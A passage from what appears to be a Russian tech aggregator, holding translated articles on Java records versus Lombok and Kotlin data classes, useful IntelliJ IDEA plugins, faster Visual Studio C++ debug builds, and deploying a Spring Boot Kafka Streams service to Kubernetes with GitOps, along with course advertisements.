И, как и раньше, мы можем рассчитывать на то, что newRange будет точно таким же, как и range за исключением low: нет скрытого состояния, которое мы не перенесли. И синтаксически здесь все просто:

  • объявить переменные для компонент (например, low, high) и присвоить значения с помощью аксессоров

  • выполнить блок with

  • передать переменные в канонический конструктор

(Обратите внимание, что этот функционал далек от реальности и может быть не реализован или быть значительно изменен.)

Сериализация

Для представления объекта в виде потока байт, JSON / XML-документа или в виде любого другого внешнего представления и обратной конвертации, требуется механизм разбивки объекта на его значения, а затем сборки этих значений снова вместе. И вы сразу же можете увидеть, как это просто и хорошо работает с записями. Они не только раскрывают все свое состояние и предлагают канонический конструктор, но и делают это структурированным образом, что делает использование Reflection API очень простым.

Более подробно том, как записи изменили сериализацию, слушайте в подкасте Inside Java Podcast, episode 14 (также в Spotify). Если вы предпочитаете короткие тексты, то читайте твит.

Бойлерплейт код

Вернемся на секунду к бойлерплейту. Как говорилось ранее, чтобы запись была типом-произведением, должны выполняться следующие условия:

  • канонический конструктор

  • аксессоры (методы доступа)

  • отсутствие наследования

Я не сказал об этом явно, но было бы неплохо, если (0, 0) = (0, 0), то есть должна быть правильная реализация equals, которая сразу же требует реализации hashCode.

И все это генерируется компилятором (а также еще toString) не столько для того, чтобы избавить нас от написания этого кода, сколько потому, что это естественное следствие алгебраической структуры.

Недостатки записей

Семантика записей ограничивает возможности по работе с классами. Как уже говорилось, вы не можете добавлять скрытое состояние через добавление полей, не можете переименовывать аксессоры и изменять тип возвращаемого значения и, вероятно, не должны менять возвращаемое ими значение. Записи также не позволяют изменять значения компонент, так как соответствующие им поля объявлены final. И отсутствует наследование классов (хотя вы можете реализовать интерфейсы).

Так что же делать, если вам все это нужно? Тогда записи вам не подходят и вместо них следует использовать обычный класс. Даже если изменив только 10% функциональности, вы получите 90% бойлерплейта, от которого вы бы избавились с помощью записей.

Преимущества Lombok @Data/@Value

Lombok просто генерирует код. У него нет семантики, поэтому у вас есть полная свобода в изменении класса. Конечно, вы не получите преимуществ более строгих гарантий, хотя в будущем Lombok, возможно, сможет генерировать деструктурные методы.

(При этом я не рекламирую Lombok. Он в значительной степени полагается на внутренние API компилятора, которые могут измениться в любой момент, а это означает, что проекты, использующие его, могут сломаться при любом незначительном обновлении Java. То, что он много делает для скрытия технического долга от своих пользователей, тоже не очень хорошо.)

Преимущества data-классов Kotlin

Вот что говорится в документации о data-классах:

Вы часто создаете классы, основной целью которых является хранение данных. Обычно в таких классах некоторый стандартный и дополнительный функционал можно автоматически получить из данных.

Вы можете видеть, что здесь также присутствует семантика хранения данных, но она довольно слабая, и основное внимание уделяется получению функциональности, то есть генерации кода. Действительно, data-классы предлагают больше возможностей по работе с классами, чем записи (мутабельные "компоненты", скрытое состояние, ...), но в отличие от Lombok не все (не могут расширяться, нельзя создавать свой метод copy, ...). С другой стороны, data-классы не дают сильных гарантий как записи, поэтому Kotlin не может построить на их основе аналогичную функциональность. Это разные подходы с разной ценой и выгодой.

Некоторые указывали на @JvmRecord в Kotlin как на большую ошибку: "Видите, data-классы могут быть записями шах и мат ответ" (я перефразировал, но смысл был такой). Если у вас возникли такие же мысли, то я прошу вас остановиться и подумать на секунду. Что именно это дает вам?

Data-класс должен соблюдать все правила записи, а это значит, что он не может делать больше, чем запись. Но Kotlin все еще не понимает концепции прозрачных кортежей и не может сделать с @JvmRecord data-классом больше, чем с обычным data-классом. Таким образом, у вас есть свобода записей и гарантии data-классов данных худшее из обоих миров.

Для чего тогда нужен @JvmRecord? Просто для совместимости. Как говорится в proposal:

В Kotlin нет большого смысла использовать JVM-записи, за исключением двух случаев:

  • перенос существующей Java-записи на Kotlin с сохранением ее ABI;

  • генерация атрибута класса записи с информацией о компоненте записи для класса Kotlin для последующего чтения каким-либо фреймворком, использующим Java reflection для анализа записей.

Рефлексия

Записи не лучше и не хуже рассмотренных альтернатив или других вариантов с аналогичным подходом, таких как case-классы Scala. У них действительно сильная семантика с твердым математическим фундаментом, которая хотя и ограничивает возможности по проектированию классов, но приносит мощные возможности, которые, в противном, случае были бы невозможны или, по крайней мере, не столь надежны.

Это компромисс между свободой разработчика и мощью языка. И я доволен этим компромиссом и с нетерпением жду, когда он полностью раскроет свой потенциал в будущем.


В преддверии старта курса "Java Developer. Professional" приглашаю всех желающих на бесплатный демоурок по теме: Система получения курсов валют ЦБ РФ.

Подробнее..

Перевод 10 топовых плагинов для IntelliJ IDEA, которые ты не должен пропустить

17.06.2021 16:13:58 | Автор: admin

Хотя IntelliJ IDEA является полноценной IDE (Интегрированная среда разработки), вы наверняка захотите ее персонализировать. В JetBrains Marketplace есть множество плагинов с полезными функциями, которые могут удовлетворить ваши личные или деловые потребности.

Библиотека огромна, и в ней легко заблудиться. В этой статье мы поделимся недавно появившимися и всеми любимыми плагинами. Нам также интересно узнать, какие плагины любите вы, поэтому, пожалуйста, расскажите о них в комментариях.

Напоминаем, что все плагины можно установить через Настройки/Параметры | Плагины или на вкладке Плагины на экране приветствия.

Погнали!

Хиты

Плагин Jump to Line

Многие навигационные действия в дебаггере IntelliJ IDEA позволяют установить точку останова в нужном месте, но иногда необходимо достичь строки одним щелчком мыши. Здесь на помощь приходит плагин Jump To Line. Он позволяет добраться до любой строки и установить там точку выполнения, не выполняя предыдущий код.

Таким образом предлагается простая навигация - просто перетащите стрелку в область Gutter, поместив точку выполнения в нужную строку. Помните, что перед перемещением стрелки необходимо приостановить выполнение программы.

Узнайте больше об этом плагине в нашем блоге.

Плагин Key Promoter X

Не секрет, что кодинг без использования мыши быстрее и эффективнее, но как стать ориентированным на клавиатуру, когда в IntelliJ IDEA так много сочетаний клавиш, которые нужно запомнить? Key Promoter X научит вас пользоваться ими. Как настойчивый и дотошный тренер, он отобразит всплывающую подсказку с соответствующим сочетанием клавиш при нажатии на элемент внутри IDE. Более того, для кнопок, не имеющих шортката, Key Promoter X предложит вам создать его.

Практика доведет все до идеала! Через некоторое время вы заметите, что подсознательно экономите время и используете нужный шорткат.

Плагин Maven Helper

Если вы ищете дополнительные возможности для работы с проектами Maven, этот плагин вам просто необходим. Он позволяет просматривать, анализировать и исключать конфликтующие зависимости. Также можно запускать и отлаживать цели Maven и многое другое. Попробуйте этот 5-звездочный плагин!

Плагин Doc-Aware Search Everywhere

Это отличное расширение для часто используемого диалогового окна Search Everywhere. Этот плагин добавляет справочные статьи в список результатов поиска. Просто нажмите на ту, которая кажется подходящей, и она появится в вашем веб-браузере по умолчанию. Это действительно помогает сэкономить кучу времени, поскольку вам больше не придется вручную открывать справку по продукту в браузере и искать статью самостоятельно.

Плагин Rainbow brackets

Если вас когда-нибудь раздражали многочисленные повторяющиеся скобки с вложенными элементами, этот плагин станет вашим спасением. Он присваивает каждому набору открывающих и закрывающих скобок свой собственный цвет, облегчая отслеживание того, где начинается и заканчивается блок кода. Поверьте, как только вы попробуете его, вы поймете, что вам все время не хватало именно этого.

Плагин Randomness

Вам нужно добавить в проект рандомные данные, например, слово, число или строку? Если у вас закончились варианты, установите этот плагин и нажмите Alt+R в Windows и Linux или R в macOS, чтобы увидеть выпадающий список возможных типов данных, которые вы можете добавить. Выберите нужный, и тогда произойдет волшебство - плагин Randomness будет добавлять разные значения каждый раз, когда вы применяете это действие.

Плагин EduTools

Этот плагин полезен как для учащихся, так и для преподавателей. Он позволяет изучать и преподавать языки программирования, такие как Kotlin, Java, Python, JavaScript, Rust, Scala, C/C++ и Go, прямо из IDE. Если вы изучаете программирование, мы призываем вас учиться на практике. Установите плагин, чтобы присоединиться к публичному курсу программирования, доступному в системе. Также вы можете записаться на индивидуальный курс вашего учителя или коллеги по работе. Да, вы не ослышались, плагин Edu Tools позволяет создавать упражнения и делиться ими со своими коллегами.

Плагин GitToolBox

IntelliJ IDEA уже поддерживает полноценную интеграцию с Git, но этот плагин предлагает дополнительные возможности, которые можно использовать по своему усмотрению. Люди приобретают его в основном для inline blame - аннотации, которая показывает, кто и когда изменил код в строке. GitToolBox также добавляет отображение статуса, автоматическую выборку, оповещения и многое другое.

Установите этот плагин, чтобы присоединиться к более чем полумиллиону людей, которые используют его для оптимизации ежедневного рабочего процесса Git.

Плагин WakaTime

Это как фитнес-трекер, но для мониторинга вашей активности в написании кода. Плагин WakaTime предоставляет услугу отслеживания времени, автоматически генерируя изящные метрики и аналитические данные. Используйте его для анализа производительности команды или для поиска путей повышения скорости разработки программ.

Плагин Extra Icons

Плагин Extra Icons предназначен для тех, кто хочет приукрасить вид проекта. Он добавляет набор значков, которые не поддерживаются IntelliJ IDEA по умолчанию. Они выглядят потрясающе и упрощают навигацию между файлами, поскольку вы можете визуально определить их тип. Кроме того, значки очень легко настраиваются. Вы можете настроить их в Preferences| Settings / Appearance & Behavior/ Appearance/ Extra Icons.

Бонус

В качестве дополнения установите Nyan Progress Bar, чтобы сделать индексирование более спокойным занятием. Если вам не нравится кот Nyan, попробуйте других персонажей, например, Mario или случайного покемона.

Мы надеемся, что эти плагины помогут вам настроить вашу IDE и буду делать вас немного счастливее каждый день. Оставайтесь продуктивными и получайте удовольствие от работы с IntelliJ IDEA!

Удачной работы!


В преддверии старта курса "Java Developer. Basic" приглашаем всех желающих на бесплатный двухдневный интенсив по теме "Хороший код".


Подробнее..

Перевод Повышение производительности дебажных билдов в два-три раза

18.06.2021 02:21:22 | Автор: admin

Нам удалось добиться значительного повышения производительности рантайма для дебажной (отладочной) конфигурации по умолчанию Visual Studio в компиляторе C++ для x86/x64. Для программ, скомпилированных в режиме дебага в Visual Studio 2019 версии 16.10 Preview 2, мы отмечаем ускорение в 23 раза. Эти улучшения связаны с уменьшением накладных расходов на проверки ошибок в рантайме (/RTC), которые включены по умолчанию.

Дебажная конфигурация по умолчанию (Default debug configuration)

Когда вы компилируете свой код в Visual Studio с дебажной конфигурацией, по умолчанию компилятору C++ передаются некоторые флаги. Наиболее релевантными для этой статьи являются /RTC1, /JMC и /ZI.

Хотя все эти флаги добавляют полезные дебажные функции, их взаимодействие, особенно когда присутствует /RTC1, результирует в значительных накладных расходах. В этом релизе нам удалось избавиться от нежелательных накладных расходов, без потери в качестве поиска ошибок и простоты процесса дебага.

Рассмотрим следующую простую функцию:

int foo() {    return 32;}

и сборку для x64, сгенерированную компилятором 16.9 при компиляции с флагами /RTC1 /JMC /ZI (ссылка Godbolt):

int foo(void) PROC                  $LN3:        push rbp        push rdi        sub rsp, 232                ; дополнительное пространство, выделенное из-за /ZI, /JMC        lea rbp, QWORD PTR [rsp+32]        mov rdi, rsp        mov ecx, 58                 ; (= x)        mov eax, -858993460         ; 0xCCCCCCCC        rep stosd                   ; записать 0xCC в стек для x DWORDов        lea rcx, OFFSET FLAT:__977E49D0_example@cpp        ; вызов из-за /JMC        call __CheckForDebuggerJustMyCode        mov eax, 32        lea rsp, QWORD PTR [rbp+200]        pop rdi        pop rbp        ret 0 int foo(void) ENDP

В показанной выше сборке флаги /JMC и /ZI добавляют в сумме 232 дополнительных байта в стек (строка 5). Это пространство в стеке не всегда необходимо. В сочетании с флагом /RTC1, который инициализирует выделенное пространство стека (строка 10), это потребляет много тактов ЦП. В этом конкретном примере, хоть выделенное пространство стека необходимо для правильного функционирования /JMC и /ZI, его инициализация - нет. Мы можем убедиться во время компиляции, что в этих проверках нет необходимости. Таких функций предостаточно в любой реальной кодовой базе на C++ - отсюда и выигрыш в производительности.

Далее мы глубже погрузимся в каждый из этих флагов, их взаимодействие с /RTC1 и узнаем, как мы избегаем ненужных накладных расходов.

/RTC1

Использование флага /RTC1 эквивалентно использованию обоих флагов /RTCs и /RTCu. /RTCs инициализирует стек функций с 0xCC для выполнения различных проверок в рантайме, а именно обнаружения неинициализированных локальных переменных, обнаружения переполнения или недозаполнения массива и проверки указателя стека (для x86). Вы можете посмотреть код, раздутый /RTC, здесь.

Как видно из приведенного выше ассемблерного кода (строка 10), инструкция rep stosd, внесенная /RTCs, является основной причиной замедления работы. Ситуация усугубляется, когда /RTC (или /RTC1) используется вместе с /JMC, /ZI или обоими.

Взаимодействие с /JMC

/JMC означает Just My Code Debugging (функциональ дебага только моего кода), и во время отладки он автоматически пропускает функции, написанные не вами (например, фреймворк, библиотека и другой непользовательский код). Он работает, вставляя вызов функции в пролог, который вызывает рантайм библиотеку. Это помогает дебагеру различать пользовательский и непользовательский код. Проблема здесь в том, что вставка вызова функции в пролог каждой функции в вашем проекте означает, что во всем вашем проекте больше не будет листовых функций (leaf functions). Если функции изначально не нужен какой-либо стек фрейм, теперь он ей будет нужен, потому что в соответствии с AMD64 ABI для Windows платформ нам нужно иметь по крайней мере четыре слота стека, доступные для параметров функции (так называемая домашняя область параметров - Param Home area). Это означает, что все функции, которые ранее не инициализировались /RTC, потому что они были листовыми функциями и не имели стек фрейма, теперь будут инициализированы. Наличие множества листовых функций в вашей программе - это нормально, особенно если вы используете сильно шаблонную библиотеку, такую как STL. В этом случае /JMC с радостью съест часть ваших тактов ЦП. Это не относится к x86 (32 бит), потому что там у нас нет домашней области параметров. Вы можете посмотреть эффекты /JMC здесь.

Взаимодействие с /ZI

Следующее взаимодействие, о котором мы поговорим, будет с /ZI. Он позволяет вашему коду использовать функцию Edit and Continue (изменить и продолжить), что означает, что вам не нужно перекомпилировать всю программу во время дебага для небольших изменений.

Чтобы добавить такую функционал, мы добавляем в стек несколько заполняющих байтов (фактическое количество заполняющих байтов зависит от размера функции). Таким образом, все новые переменные, которые вы добавляете во время сеанса дебаггинга, могут быть размещены в области заполнения без изменения общего размера стек фрейма, и вы можете продолжить отладку без необходимости перекомпилировать код. Вы можете посмотреть здесь как включение этого флага добавляет дополнительные 64 байта сгенерированного кода.

Как вы, возможно, догадались, чем больше становится область стека, тем больше вещей нужно инициализировать с помощью /RTC, что приводит к увеличению накладных расходов.

Решение

Корень всех этих проблем - ненужная инициализация. Неужели нам действительно нужно каждый раз инициализировать область стека? Нет. В компиляторе можно спокойно проконтролировать, когда инициализация стека действительно необходима. Например, она нужна вам, когда есть хотя бы одна адресная переменная, массив, объявленный в вашей функции, или неинициализированные переменные. В любом другом случае мы можем спокойно пропустить инициализацию, так как в любом случае мы не найдем ничего полезного с помощью проверок в рантайме.

Ситуация немного усложняется, когда вы компилируете с edit-and-continue, потому что теперь вы можете добавлять неинициализированные переменные в процессе дебага, которые могут быть обнаружены только в том случае, если мы инициализируем область стека. А мы, скорее всего, этого не сделали. Чтобы решить эту проблему, мы включили необходимые биты в дебажную информацию и предоставили ее через Debug Interface Access SDK. Эта информация сообщает дебагеру, где область заполнения, введенная /ZI начинается и заканчивается. Она также сообщает дебагеру, нужна ли функции инициализация стека. Если да, то отладчик безоговорочно инициализирует область стека в этом диапазоне памяти для функций, которые вы редактировали во время сеанса дебаггинга. Новые переменные всегда размещаются поверх этой инициализированной области, и наши проверки в рантайме теперь могут определить, безопасен ли ваш недавно добавленный код или нет.

Результаты

Мы скомпилировали следующие проекты в конфигурации отладки по умолчанию, а затем использовали сгенерированные исполняемые файлы для проведения тестов. Мы заметили 23-кратное улучшение во всех проектах, которые мы тестировали. Для проектов с сильным использованием STL могут потребоваться более значительные улучшения. Сообщите нам в комментариях о любых улучшениях, которые вы заметили в своих проектах. Проект 1 и Проект 2 предоставлены пользователями.

Расскажите нам, что вы думаете!

Мы надеемся, что это ускорение сделает ваш рабочий процесс дебаггинга эффективным и приятным. Мы постоянно прислушиваемся к вашим отзывам и работаем над улучшением вашего рабочего цикла. Мы хотели бы услышать о вашем опыте в комментариях ниже. Вы также можете связаться с нами в сообществе разработчиков, по электронной почте (visualcpp@microsoft.com) и в Twitter (@VisualC).


Напоминаем о том, что сегодня, в рамках курса "C++ Developer. Basic" пройдет второй день бесплатного интенсива по теме: "HTTPS и треды в С++. От простого к прекрасному".

Подробнее..

Перевод Использование микросервисов в работе с Kubernetes и GitOps

10.06.2021 18:12:02 | Автор: admin

Архитектуры микросервисов продолжают развиваться в инженерных организациях, поскольку команды стремятся увеличить скорость разработки. Микросервисы продвигают идею модульности как объекты первого класса в распределенной архитектуре, обеспечивая параллельную разработку и компоненты с независимыми циклами выпуска. Как и при принятии любых технологических решений, необходимо учитывать компромиссы. В случае микросервисов они включают потенциальную потерю централизованных стандартов разработки, а также повышенную сложность эксплуатации.

К счастью, существуют стратегии решения этих проблем. Сначала мы рассмотрим рефакторинг сервиса на основе Kafka Streams с использованием Microservices Framework, который обеспечивает стандарты для тестирования, конфигурации и интеграции. Затем мы используем существующий проект streaming-ops для создания, проверки и продвижения нового сервиса из среды разработки в рабочую среду. Хотя это и не обязательно, но вы если хотите выполнить шаги, описанные в этой заметке, то вам понадобится собственная версия проекта streaming-ops, как описано в документации.

Проблемы микросервисной архитектуры

По мере того как инженерные группы внедряют архитектуры микросервисов, отдельные команды могут начать расходиться в своих технических решениях. Это может привести к различным проблемам:

  • Множественные решения общих потребностей в рамках всей организации нарушают принцип "Не повторяйся".

  • Разработчики, желающие сменить команду или перейти в другую, сталкиваются с необходимостью изучения нескольких технологических стеков и архитектурных решений.

  • Операционные команды, которые проверяют и развертывают несколько приложений, сталкиваются с трудностями, поскольку им приходится учитывать технологические решения каждой команды.

Spring Boot

Чтобы снизить эти риски, разработчики обращаются к микросервисным фреймворкам для стандартизации общих задач разработки, и Spring Boot (расширение фреймворка Spring) является популярным примером одного из таких фреймворков.

Spring Boot предоставляет согласованные решения для общих проблем разработки программного обеспечения, например, конфигурация, управление зависимостями, тестирование, веб-сервисы и другие внешние системные интеграции, такие как Apache Kafka. Давайте рассмотрим пример использования Spring Boot для переписывания существующего микросервиса на основе Kafka Streams.

Сервис заказов

Проект streaming-ops - это среда, похожая на рабочую, в которой работают микросервисы, основанные на существующих примерах Kafka Streams. Мы рефакторизовали один из этих сервисов для использования Spring Boot, а полный исходный код проекта можно найти в репозитории GitHub. Давайте рассмотрим некоторые основные моменты.

Интеграция Kafka

Библиотека Spring for Apache Kafka обеспечивает интеграцию Spring для стандартных клиентов Kafka, Kafka Streams DSL и приложений Processor API. Использование этих библиотек позволяет сосредоточиться на написании логики обработки потоков и оставить конфигурацию и построение зависимых объектов на усмотрение Spring dependency injection (DI) framework. Здесь представлен компонент сервиса заказов Kafka Streams, который агрегирует заказы и хранит их по ключу в хранилище состояний:

@Autowiredpublic void orderTable(final StreamsBuilder builder) {  logger.info("Building orderTable");  builder    .table(this.topic,    Consumed.with(Serdes.String(), orderValueSerde()),    Materialized.as(STATE_STORE))    .toStream()    .peek((k,v) -> logger.info("Table Peek: {}", v));}

Аннотация @Autowired выше предписывает фреймворку Spring DI вызывать эту функцию при запуске, предоставляя инстанс StreamsBuilder, который мы используем для построения нашего DSL-приложения Kafka Streams. Этот метод позволяет нам написать класс с узкой направленностью на бизнес-логику, оставляя детали построения и конфигурирования объектов поддержки Kafka Streams фреймворку.

Конфигурация

Spring предоставляет надежную библиотеку конфигурации, позволяющую использовать различные методы для внешней настройки вашего сервиса. Во время выполнения Spring может объединять значения из файлов свойств, переменных окружения и аргументов программы для конфигурирования приложения по мере необходимости (порядок приоритета доступен в документации).

В примере с сервисом заказов мы решили использовать файлы свойств Spring для конфигурации, связанной с Apache Kafka. Значения конфигурации по умолчанию предоставляются во встроенном ресурсе application.properties, и мы переопределяем их во время выполнения с помощью внешних файлов и функции Profiles в Spring. Здесь вы можете увидеть сниппет ресурсного файла application.properties по умолчанию:

# ################################################ For Kafka, the following values can be# overridden by a 'traditional' Kafka# properties filebootstrap.servers=localhost:9092...# Spring Kafkaspring.kafka.properties.bootstrap.servers=${bootstrap.servers}...

Например, значение spring.kafka.properties.bootstrap.servers обеспечивается значением в bootstrap.servers с использованием синтаксиса плейсхолдер ${var.name} .

Во время выполнения Spring ищет папку config в текущем рабочем каталоге запущенного процесса. Файлы, найденные в этой папке, которые соответствуют шаблону application-<profile-name>.properties, будут оценены как активная конфигурация. Активными профилями можно управлять, устанавливая свойство spring.profiles.active в файле, в командной строке или в переменной окружения. В проекте streaming-ops мы разворачиваем набор файлов свойств, соответствующих этому шаблону, и устанавливаем соответствующие активные профили с помощью переменной окружения SPRING_PROFILES_ACTIVE.

Управление зависимостями

В приложении сервиса заказов мы решили использовать Spring Gradle и плагин управления зависимостями Spring. dependency-management plugin впоследствии будет управлять оставшимися прямыми и переходными зависимостями за нас, как показано в файле build.gradle:

plugins {  id 'org.springframework.boot' version '2.3.4.RELEASE'  id 'io.spring.dependency-management' version '1.0.10.RELEASE'  id 'java'}

Следующие библиотеки Spring могут быть объявлены без конкретных номеров версий, поскольку плагин предоставит совместимые версии от нашего имени:

dependencies {  implementation 'org.springframework.boot:spring-boot-starter-web'  implementation 'org.springframework.boot:spring-boot-starter-actuator'  implementation 'org.springframework.boot:spring-boot-starter-webflux'  implementation 'org.apache.kafka:kafka-streams'  implementation 'org.springframework.kafka:spring-kafka'  ...

REST-сервисы

Spring предоставляет REST-сервисы с декларативными аннотациями Java для определения конечных точек HTTP. В сервисе заказов мы используем это для того, чтобы использовать фронтенд API для выполнения запросов в хранилище данных Kafka Streams. Мы также используем асинхронные библиотеки, предоставляемые Spring, например, для неблокирующей обработки HTTP-запросов:

@GetMapping(value = "/orders/{id}", produces = "application/json")public DeferredResult<ResponseEntity> getOrder(  @PathVariable String id,  @RequestParam Optional timeout) {     final DeferredResult<ResponseEntity> httpResult =     new DeferredResult<>(timeout.orElse(5000L));...

Смотрите полный код в файле OrdersServiceController.java.

Тестирование

Блог Confluent содержит много полезных статей, подробно описывающих тестирование Spring для Apache Kafka (например, смотрите Advanced Testing Techniques for Spring for Apache Kafka). Здесь мы кратко покажем, как легко можно настроить тест с помощью Java-аннотаций, которые будут загружать Spring DI, а также встроенный Kafka для тестирования клиентов Kafka, включая Kafka Streams и использование AdminClient:

@RunWith(SpringRunner.class)@SpringBootTest@EmbeddedKafka@DirtiesContext(classMode = DirtiesContext.ClassMode.AFTER_CLASS)public class OrderProducerTests {...

С помощью этих полезных аннотаций и фреймворка Spring DI создание тестового класса, использующего Kafka, может быть очень простым:

@Autowiredprivate OrderProducer producer;...@Testpublic void testSend() throws Exception {  ...  List producedOrders = List.of(o1, o2);  producedOrders.forEach(producer::produceOrder);  ...

Смотрите полный файл OrderProducerTests.java для наглядного примера.

Проверка в dev

Код сервиса заказов содержит набор интеграционных тестов, которые мы используем для проверки поведения программы; репозиторий содержит задания CI, которые вызываются при появлении PR или переносе в основную ветвь. Убедившись, что приложение ведет себя так, как ожидается, мы развернем его в среде dev для сборки, тестирования и дальнейшего подтверждения поведения кода.

Проект streaming-ops запускает свои рабочие нагрузки микросервисов на Kubernetes и использует подход GitOps для управления операционными проблемами. Чтобы установить наш новый сервис в среде dev, мы изменим развернутую версию в dev, добавив переопределение Kustomize в сервис заказов Deployment, и отправим PR на проверку.

Когда этот PR будет объединен, запустится процесс GitOps, модифицируя объявленную версию контейнера службы заказов. После этого контроллеры Kubernetes развертывают новую версию, создавая заменяющие Поды и завершая работу предыдущих версий.

После завершения развертывания мы можем провести валидацию новой службы заказов, проверив, правильно ли она принимает REST-звонки, и изучив ее журналы. Чтобы проверить конечную точку REST, мы можем открыть приглашение внутри кластера Kubernetes с помощью хелпер-команды в предоставленном Makefile, а затем использовать curl для проверки конечной точки HTTP:

$ make promptbash-5.0# curl -XGET http://orders-servicecurl: (7) Failed to connect to orders-service port 80: Connection refused

Наша конечная точка HTTP недостижима, поэтому давайте проверим журналы:

kubectl logs deployments/orders-service | grep ERROR2020-11-22 20:56:30.243 ERROR 21 --- [-StreamThread-1] o.a.k.s.p.internals.StreamThread     : stream-thread [order-table-4cca220a-53cb-4bd5-8c34-d00a5aa77e63-StreamThread-1] Encountered the following unexpected Kafka exception during processing, this usually indicate Streams internal errors:           org.apache.kafka.common.errors.GroupAuthorizationException: Not authorized to access group: order-table

Эти ошибки, скорее всего, ортогональны и поэтому потребуют независимых исправлений. Не имеет значения, как они будут устранены, необходимо быстро вернуть нашу систему в работоспособное состояние. GitOps предоставляет хороший путь для ускорения этого процесса путем отмены предыдущего коммита. Мы используем функцию возврата GitHub PR, чтобы организовать последующий PR, который отменяет изменения.

Как только PR будет объединен, процесс GitOps применит отмененные изменения, возвращая систему в предыдущее функциональное состояние. Для лучшей поддержки этой возможности целесообразно сохранять изменения небольшими и инкрементными. Среда dev полезна для отработки процедур отката.

Мы выявили две проблемы в новом сервисе, которые вызвали эти ошибки. Обе они связаны со значениями конфигурации по умолчанию в этом сервисе, которые отличаются от первоначальных.

  1. HTTP-порт по умолчанию был другим, из-за чего служба Kubernetes не могла правильно направить трафик сервису заказов.

  2. Идентификатор приложения Kafka Streams по умолчанию отличался от настроенного списка контроля доступа (ACL) в Confluent Cloud, что лишало наш новый сервис заказов доступа к кластеру Kafka.

Мы решили отправить новый PR, исправляющий значения по умолчанию в приложении. Изменения содержатся в конфигурационных файлах, расположенных в развернутых ресурсах Java Archive (JAR).

В файле application.yaml мы изменяем порт HTTP-сервиса по умолчанию:

Server:  Port: 18894

А в файле application.properties (который содержит соответствующие конфигурации Spring для Apache Kafka) мы модифицируем ID приложения Kafka Streams на значение, заданное декларациями Confluent Cloud ACL:

spring.kafka.streams.application-id=OrdersService

Когда новый PR будет отправлен, процесс CI/CD на основе GitHub Actions запустит тесты. После слияния PR другой Action опубликует новую версию Docker-образа службы заказов.

Еще один PR с новой версией службы заказов позволит нам развернуть новый образ с правильными настройками по умолчанию обратно в среду dev и повторно провести валидацию. На этот раз после развертывания мы сможем взаимодействовать с новым сервисом заказов, как и ожидалось.

$ make promptbash-5.0# curl http://orders-service/actuator/health{"status":"UP","groups":["liveness","readiness"]}bash-5.0# curl -XGET http://orders-service/v1/orders/284298{"id":"284298","customerId":0,"state":"FAILED","product":"JUMPERS","quantity":1,"price":1.0}

Наконец, с нашего устройства разработки мы можем использовать Confluent Cloud CLI для потоковой передачи заказов из темы orders в формате Avro (см. документацию Confluent Cloud CLI для инструкций по настройке и использованию CLI).

 ccloud kafka topic consume orders --value-format avroStarting Kafka Consumer. ^C or ^D to exit{"quantity":1,"price":1,"id":"284320","customerId":5,"state":"CREATED","product":"UNDERPANTS"}{"id":"284320","customerId":1,"state":"FAILED","product":"STOCKINGS","quantity":1,"price":1}{"id":"284320","customerId":1,"state":"FAILED","product":"STOCKINGS","quantity":1,"price":1}^CStopping Consumer.

Продвижение в prd

Имея на руках наш новый отрефакторенный и валидированный сервис заказов, мы хотим завершить работу, продвинув его в продакшн. С нашим инструментарием GitOps это простой процесс. Давайте посмотрим, как это сделать.

Сначала оценим хелпер-команду, которую можно запустить для проверки разницы в объявленных версиях сервиса заказов в каждой среде. С устройства разработчика в репозитории проекта мы можем использовать Kustomize для сборки и оценки окончательно материализованных манифестов Kubernetes, а затем поиска в них визуальной информации о сервисе заказов. Наш проект streaming-ops предоставляет полезные команды Makefile для облегчения этой задачи:

 make test-prd test-dev >/dev/null; diff .test/dev.yaml .test/prd.yaml | grep "orders-service"< image: cnfldemos/orders-service:sha-82165db > image: cnfldemos/orders-service:sha-93c0516

Здесь мы видим, что версии тегов образов Docker отличаются в средах dev и prd. Мы сохраним финальный PR, который приведет среду prd в соответствие с текущей версией dev. Для этого мы модифицируем тег изображения, объявленный в базовом определении для службы заказов, и оставим на месте переопределение dev. В данном случае оставление dev-переопределения не оказывает существенного влияния на развернутую версию службы заказов, но облегчит будущие развертывания на dev. Этот PR развернет новую версию на prd:

Перед слиянием мы можем повторно выполнить наши тестовые команды, чтобы убедиться, что в развернутых версиях службы заказов не будет различий, о чем свидетельствует отсутствие вывода команд diff и grep:

 make test-prd test-dev >/dev/null; diff .test/dev.yaml .test/prd.yaml | grep "orders-service"

Этот PR был объединен, и контроллер FluxCD в среде prd развернул нужную версию. Используя jq и kubectl с флагом --context, мы можем легко сравнить развертывание сервиса заказов на кластерах dev и prd:

 kubectl --context= get deployments/orders-service -o json | jq -r '.spec.template.spec.containers | .[].image'cnfldemos/orders-service:sha-82165db kubectl --context= get deployments/orders-service -o json | jq -r '.spec.template.spec.containers | .[].image'cnfldemos/orders-service:sha-82165db

Мы можем использовать curl внутри кластера, чтобы проверить, что развертывание работает правильно. Сначала установите контекст kubectl на ваш рабочий кластер:

 kubectl config use-context <your-prd-k8s-context>Switched to context "kafka-devops-prd".

Хелпер-команда подсказки в репозитории кода помогает нам создать терминал в кластере prd, который мы можем использовать для взаимодействия с REST-сервисом службы заказов:

 make promptLaunching-util-pod-------------------------------- kubectl run --tty -i --rm util --image=cnfldemos/util:0.0.5 --restart=Never --serviceaccount=in-cluster-sa --namespace=defaultIf you don't see a command prompt, try pressing enter.bash-5.0#

Внутри кластера мы можем проверить работоспособность (здоровье - health) службы заказов:

bash-5.0# curl -XGET http://orders-service/actuator/health{"status":"UP","groups":["liveness","readiness"]}bash-5.0# exit

Наконец, мы можем убедиться, что заказы обрабатываются правильно, оценив журналы из orders-and-payments-simulator:

 kubectl logs deployments/orders-and-payments-simulator | tail -n 5Getting order from: http://orders-service/v1/orders/376087   .... Posted order 376087 equals returned order: OrderBean{id='376087', customerId=2, state=CREATED, product=STOCKINGS, quantity=1, price=1.0}Posting order to: http://orders-service/v1/orders/   .... Response: 201Getting order from: http://orders-service/v1/orders/376088   .... Posted order 376088 equals returned order: OrderBean{id='376088', customerId=5, state=CREATED, product=STOCKINGS, quantity=1, price=1.0}Posting order to: http://orders-service/v1/orders/   .... Response: 201Getting order from: http://orders-service/v1/orders/376089   .... Posted order 376089 equals returned order: OrderBean{id='376089', customerId=1, state=CREATED, product=JUMPERS, quantity=1, price=1.0}

Симулятор заказов и платежей взаимодействует с конечной точкой REST сервиса заказов, публикуя новые заказы и получая их обратно от конечной точки /v1/validated. Здесь мы видим код 201 ответа в журнале, означающий, что симулятор и сервис заказов взаимодействуют правильно, и сервис заказов правильно считывает заказы из хранилища состояния Kafka Streams.

Резюме

